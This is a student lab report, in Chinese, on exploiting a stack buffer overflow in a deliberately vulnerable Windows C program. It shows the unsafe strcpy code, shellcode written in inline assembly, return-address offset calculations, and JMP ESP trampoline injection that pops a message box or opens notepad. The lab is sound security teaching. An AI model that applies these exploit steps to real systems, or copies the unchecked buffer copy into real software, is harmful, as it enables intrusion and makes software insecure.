漏洞技术利用实验

实验目的

  1. 了解shellcode注入原理
  2. 理解给出的弹出对话框的汇编代码
  3. 通过淹没静态地址来实现shellcode的代码植入
  4. 通过跳板来实现shellcode的代码植入
  5. 尝试修改汇编语句的shellcode实现修改标题等简单操作

理解程序

阅读并理解代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdio.h>
#include <windows.h>
#include <string>
#define PASSWORD "1234567"
int verify_password (char *password)
{
int authenticated;
char buffer[44];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);//over flowed here!
return authenticated;
}
main()
{
int valid_flag=0;
char password[1024];
FILE * fp;
LoadLibrary("user32.dll");//prepare for messagebox
if(!(fp=fopen("password.txt","rw+")))
{
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrect password!\n");
system("pause");
}
else
{
printf("Congratulation! You have passed the verification!\n");
system("pause");
}
fclose(fp);
}
  1. 头文件中包含windows.h,方便调用LoadLibrary()函数去装载user32.dll,以便在植入的代码中调用MseeageBox
  2. 在主函数打开程序同目录下的password.txt文件并读取文件内容即密码,若无法打开,则直接退出程序
  3. 跳转到子函数verify_password()判断输入的密码是否正确即判断输入的密码password与正确的密码1234567是否相等,如果相等则子函数返回0,否则返回非0,在函数返回之前将输入的password拷贝到数组buffer[44]里面
  4. 主函数在判断子函数verify_password()返回值:如果是0,则输出Congratulation! You have passed the
    verification!,关闭password.txt文件,结束程序,否则输出incorrect password!,关闭password.txt文件,结束程序

通过淹没静态地址来实现shellcode的代码植入

  1. 使用Depends.exe对程序overflow.exe进行剖析(参数保持默认)

    1565836316689

    1. 点击kernel32.dll,在右侧窗口找到exitprocess的函数入口点为0x0001B0BB,在下方窗口找到kernel32.dll的实际基址为0x77E60000,两个地址相加可得exitprocess的入口地址:0x77E8B0B0

      1565836376754

      1565836386263

    2. 同理在user32.dll,在右侧窗口找到MessageBoxA的函数入口点为0x00033D68,在下方窗口找到user32.dll的实际基址为0x77DF0000,两个地址相加可得MessageBoxA的入口地址:0x77E23D68

      1565836456007

      1565836461058

  2. 打开shellcode文件源码并阅读、理解,在工程文件overflow同目录下新建项目shellcode,将源代码拷贝并作出相应更改:将弹出框标题改为ABCD1234,将exitprocess的入口地址改为0x77E8B0B0,将MessageBoxA的入口地址改为0x77E23D68

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    #include<windows.h>
    int main()
    {
    HINSTANCE LibHandle;
    char dllbuf[11] = "user32.dll";
    LibHandle = LoadLibrary(dllbuf);
    _asm{
    sub sp,0x440
    xor ebx,ebx
    push ebx
    push 0x34333231 //1234
    push 0x44434241 //ABCD

    mov eax,esp
    push ebx
    push eax
    push eax
    push ebx

    mov eax,0x77E23D68 //messageboxA 入口地址
    call eax
    push ebx
    mov eax,0x77E7B0BB //exitprocess 入口地址
    call eax
    }
    return 0;
    }

    运行结果如下图,对话框正常弹出

    1565845037488

  3. 使用ollydbg打开新建的shellcode.exe文件,分析获取弹对话框部分的shellcode

    1. 定位到shellcode

      1565845700629

    2. shellcode内容复制为文件如下

      1565845769821

  4. 使用ollydbg打开overflow.exe文件,在strcpy处设置断点,当程序运行到此处时,缓冲区中的dest指向的地址0x12FAF0即为要注入的shellcode的起始地址

    1565846024211

  5. 构建password.txt以注入shellcode

    1. UltraEdit新建password.txt,并切换成16进制编辑的方式

    2. 根据栈中的位置计算返回地址应该在44(buff) +
      4(authenticated) + 4(EBP) = 52的偏移后的第53-56字节

      1565845495853

    3. 构造的txt文件,格式为Shellcode+若干0x90 +shellcode在缓冲区的起始地址

      即通过调整0x90的数量来保证第53-56字节是shellcode在缓冲区的起始地址

      1565846378550

    4. 完成后保存到overflow_exe项目的debug目录下,运行 exe程序,弹出对话框。

      1565846426783

通过跳板来实现shellcode的代码植入

  1. 使用ollydbg打开overflow.exe文件

  2. strcpy函数上设置断点,运行至断点。然后右键选择overflow return address ->ASCII overflow returns ->search JMP/CALL ESP,搜索JMP/CALL ESP语句,并点击日志查看,选择一条在user32中的JMP ESP指令,记录地址0x77E2E32A

    1565846888982

    1565847088620

  3. 更改password.txt文件,其结构为 52字节填充物 + 4字节JMP ESP地址(逆 序) + shellcode + 若干0x90

    1565847313872

  4. 运行overflow.exe,对话框弹出

    1565847560360

修改汇编语句的shellcode实现修改标题

  1. 将标题修改为软件安全,新建shellcode1代码如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    #include<windows.h>
    int main()
    {
    HINSTANCE LibHandle;
    char dllbuf[11] = "user32.dll";
    LibHandle = LoadLibrary(dllbuf);
    _asm{
    sub sp,0x440
    xor ebx,ebx
    push ebx

    push 0xABC8B2B0 //安全
    push 0XFEBCEDC8 //软件
    push 0x00000000 //阻断
    push 0x34333231 //1234
    push 0x44434241 //ABCD

    mov eax,esp
    push ebx //MB_OK
    add eax, 12
    push eax //title
    sub eax, 12
    push eax //text
    push ebx //NULL

    mov eax,0x77E23D68 //messageboxA 入口地址
    call eax
    push ebx
    mov eax,0x77E7B0BB //exitprocess 入口地址
    call eax
    }
    return 0;
    }
  2. 程序运行结果如下

    1565847876404

测试结论

shellcode是利用特定漏洞的二进制代码,利用缓冲区溢出等原理达到获取权限的目的。本次实验通过查找并计算所需函数的入口地址,得到一段汇编语言写的shellcode代码,并通过淹没静态地址和利用跳板的方法两种方法成功进行了shellcode代码注入,更深一步了解了函数跳转的原理,同时也明白了shellcode代码植入的危害性。实验过程中发现如果shellcode的地址含有空(\0),shellcode会被截断。其中修改原理图示如下:

1565848011587

思考题

在不修改StackOverrun程序源代码的情况下,构造shellcode,通过jmp esp的方式实现通过记事本打开shellcode.txt(可使用CreateProcessAWinExecAPI

  1. 使用OllyDbg查找程序StackOverrun.exe中的jmp esp的地址,选取其中一个:0x77F8948B,将其作为返回地址进行修改。

    1565848379938

  2. 程序运行结束时,使用JMP ESP指令跳转到ESP地址处,单步运行,查看EBP0x0012FFC0

    1565848390125

  3. 在地址0x0012FF74处修改成如下汇编语句

    1565848400080

  4. 构造shellcode结构:12字节填充物 + jmp esp地址 + 汇编机器码 + notepad" "shellcode

    1565848407673

  5. 使用命令行运行程序,参数为上述shellcodetxt文本形式

    1565848414568

  6. 运行程序后显示未找到shellcode.txt,显示是否新建文件

    1565848422212

  7. 根据提示,新建txt文件,内容为123,再次使用命令行运行程序,发现成功打开新建的shellcode.txt文件

    1565848427852

  8. 搜索该新建的shellcode.txt文件,发现其在C盘目录下

    1565848433371

  9. 分析原因,可能是shellcode构造时汇编语言不精确导致的,现在还未弄清楚。